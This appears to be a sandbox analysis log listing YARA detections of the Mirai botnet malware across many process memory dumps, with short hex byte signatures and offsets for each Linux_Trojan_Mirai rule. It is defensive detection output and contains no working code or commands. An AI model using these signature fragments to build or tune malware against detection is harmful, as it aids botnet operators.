6545.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6545.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6545.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6545.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6389.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6389.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6389.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6389.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6389.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6389.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7380.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7380.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7380.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7380.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7380.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7380.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7148.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7148.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7148.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7148.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7148.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7148.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7276.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7276.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7276.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7276.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7276.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7276.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6763.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6763.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6763.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6763.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6763.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6763.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7375.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7375.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7375.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7375.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7375.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7375.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7416.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7416.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7416.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7416.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7416.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7416.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6343.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6343.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6343.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6343.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6343.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6343.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6360.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6360.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6360.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6360.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6360.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6360.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6964.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6964.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6964.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6964.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6964.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6964.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6936.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6936.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6936.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6936.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6936.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6936.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7295.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7295.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7295.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6535.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6535.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6535.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6535.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6535.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6535.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7295.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7295.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7295.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7176.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7176.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7176.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7176.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7176.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7176.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6770.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6770.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6770.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6770.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6770.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6770.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7249.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7249.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7249.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7249.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7249.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7249.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6289.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6289.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6289.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6289.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6289.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6289.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6957.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6957.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6957.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6957.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6957.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6957.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6643.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6643.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6643.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6643.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6643.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6643.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7221.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7221.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7221.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7221.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7221.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7221.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7357.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7357.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7357.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7357.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7357.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7357.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7227.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7227.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7227.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7227.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7227.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7227.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6821.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6821.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6821.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6821.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6821.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6821.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6815.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6815.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6815.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6815.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6815.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6815.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7395.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7395.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7395.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7395.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7395.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7395.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7118.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7118.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7118.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7118.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7118.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7118.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7047.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7047.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7047.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7047.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7047.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7047.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6593.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6593.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6593.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
